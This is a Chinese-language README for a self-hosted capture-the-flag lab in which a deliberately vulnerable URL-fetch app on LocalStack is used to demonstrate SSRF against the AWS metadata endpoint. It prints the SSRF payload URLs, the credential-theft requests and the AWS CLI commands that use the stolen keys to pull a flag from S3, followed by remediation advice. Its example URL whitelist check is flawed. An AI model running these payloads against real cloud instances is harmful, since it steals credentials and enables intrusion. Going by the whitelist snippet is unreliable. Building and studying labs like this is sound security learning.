balasaktheeswar07/exploitx-cloudctf

# ExploitX 云端项目 🔓 ## 我构建了什么 我创建这个项目是为了演示 SSRF (Server-Side Request Forgery) 漏洞是如何导致严重的云基础设施沦陷的。核心理念很简单：一个 Web 应用接收 URL 来获取内容，但如果我利用这个功能，我就能访问内部的 AWS 元数据端点并窃取凭证。 这是一种让我理解整个攻击链的实践方式——从最初的发现到凭证窃取，再到访问受限资源。Flag 证明了它是有效的：`ExploitX{ssrf_t0_1am_m3t4d4t4_byp4ss}` ## 环境配置 🏗️ 我使用 **Terraform** 来定义云基础设施，并使用 **LocalStack** 在本地运行这一切。这在我的机器上既免费又安全（不会有意料之外的 AWS 账单！）。 ### 我构建的内容： 1. **EC2 实例** (ExploitX-Vulnerable-Portal) - 一个带有 URL 获取功能的 Web 服务器 - 漏洞入口点 2. **IAM 实例配置文件** (WebServerProfile) - 附加到 EC2 实例上 - 拥有过于宽松的 S3 访问权限（对所有内容具有 s3:* 权限——这不是一个好的做法） 3. **S3 存储桶** (exploitx-secure-vault-2026) - 我隐藏 flag 的地方 - 包含 `secret_data/flag.txt` ## 如何在本地进行设置 ### 前置条件 - Docker（用于 LocalStack） - Terraform - AWS CLI - 一个终端（PowerShell、Bash，随你喜欢） ### 第一步：启动 LocalStack ``` docker run --rm -p 4566:4566 localstack/localstack ``` 这会在你的机器上启动一个虚假的 AWS 环境。所有发往 AWS 服务的请求都会被路由到 `localhost:4566`，而不是真正的 Amazon 服务器。 ### 第二步：应用 Terraform 配置 ``` terraform init terraform apply ``` 出现提示时输入 `yes`。这将创建包含 S3 存储桶和 IAM 角色的脆弱基础设施。 ### 第三步：验证是否成功 ``` aws s3 ls --endpoint-url=http://localhost:4566 ``` 你应该能看到列出了 `exploitx-secure-vault-2026` 存储桶。 ## 我是如何利用这个漏洞的 📋 ### 第一步：测试 SSRF 首先，我探测 Web 应用以找到 URL 参数。它具有接收 URL 并获取内容的端点： - 一个“预览 URL”功能 - 一个“从此链接获取内容”端点 我从一个普通的 URL（比如 `http://example.com`）开始，以确认它是否有效。 ### 第二步：瞄准元数据服务 一旦我确认了 SSRF，我就会瞄准位于 **169.254.169.254** 的 AWS 元数据端点。 首先，我检查是否启用了 IMDSv1（存在漏洞的版本）： ``` http://vulnerable-app/api/fetch?url=http://169.254.169.254/latest/meta-data/ ``` ### 第三步：获取凭证 我查询 IAM 角色凭证端点： ``` http://vulnerable-app/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` 这会告诉我角色名称。然后我获取实际的凭证： ``` http://vulnerable-app/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME] ``` 我得到一个带有临时凭证的 JSON 响应： - `AccessKeyId` - `SecretAccessKey` - `Token` (会话令牌) ### 第四步：使用窃取的凭证 我使用刚刚窃取的凭证配置我的 AWS CLI： ``` export AWS_ACCESS_KEY_ID="[stolen access key]" export AWS_SECRET_ACCESS_KEY="[stolen secret key]" export AWS_SESSION_TOKEN="[stolen token]" export AWS_ENDPOINT_URL_S3="http://localhost:4566" ``` 我验证它们是否有效： ``` aws sts get-caller-identity --endpoint-url=http://localhost:4566 ``` ### 第五步：访问 S3 存储桶 我列出了存储桶： ``` aws s3 ls --endpoint-url=http://localhost:4566 ``` 我看到了 `exploitx-secure-vault-2026`。让我看看里面有什么： ``` aws s3 ls s3://exploitx-secure-vault-2026 --recursive --endpoint-url=http://localhost:4566 ``` 我发现了 `secret_data/flag.txt`。我将其下载下来： ``` aws s3 cp s3://exploitx-secure-vault-2026/secret_data/flag.txt . --endpoint-url=http://localhost:4566 cat flag.txt ``` ✅ **成功获取 Flag！** ## 为什么这个设计存在漏洞 🚨 ### SSRF 缺陷 我故意让 Web 应用在接收 URL 参数时不进行验证。它本应该只将受信任的域名加入白名单，但实际上它会获取你发送的任何内容。 ### 元数据服务暴露 AWS 在 `169.254.169.254` 暴露了实例元数据，这原本仅供 EC2 实例自身使用。但是利用我的 SSRF 漏洞，我可以将该实例作为代理来访问它。 ### 脆弱的 IAM 权限 我创建的角色具有 `s3:*` 权限——它可以对任何 S3 存储桶做任何事情。我这样构建是为了演示糟糕的权限是如何与其他漏洞叠加产生影响的。在现实中，这应该遵循最小权限原则。 ## 如果在生产环境中，我会如何修复它 如果我是为真实环境构建这个项目，我会这样做： ### 1. 启用 IMDSv2 ``` metadata_options { http_endpoint = "enabled" http_tokens = "required" # Force IMDSv2 http_put_response_hop_limit = 1 } ``` 这使得 SSRF 被利用的难度大大增加。 ### 2. 限制 IAM 权限 我会将角色的权限限制在刚好所需的范围内，而不是使用 `s3:*`： ``` { "Effect": "Allow", "Action": [ "s3:GetObject" ], "Resource": [ "arn:aws:s3:::my-specific-bucket/allowed-path/*" ] } ``` ### 3. 验证所有用户输入 我会使用白名单，而不是盲目地接受 URL： ``` ALLOWED_DOMAINS = ['api.myservice.com', 'cdn.myservice.com'] if not any(url.startswith(domain) for domain in ALLOWED_DOMAINS): raise ValueError("URL not whitelisted") ``` ## 构建这个项目我学到了什么 说实话？这让我大开眼界。我意识到每一层安全防护有多么重要： - 输入验证是第一道防线 - 云元数据端点非常强大，需要加以保护 - IAM 权限应始终遵循最小权限原则 - 如果你存在 SSRF 漏洞，即使是“内部”服务也不安全 ## 你需要的工具 - **Docker** - 用于运行 LocalStack - **Terraform** - 用于基础设施即代码 - **AWS CLI** - 用于与虚假的 AWS 环境进行交互 - **Terminal/PowerShell** - 用于执行命令

标签：AWS, DPI, ECS, OPA, SSRF漏洞, StruQ, Terraform, 请求拦截, 靶场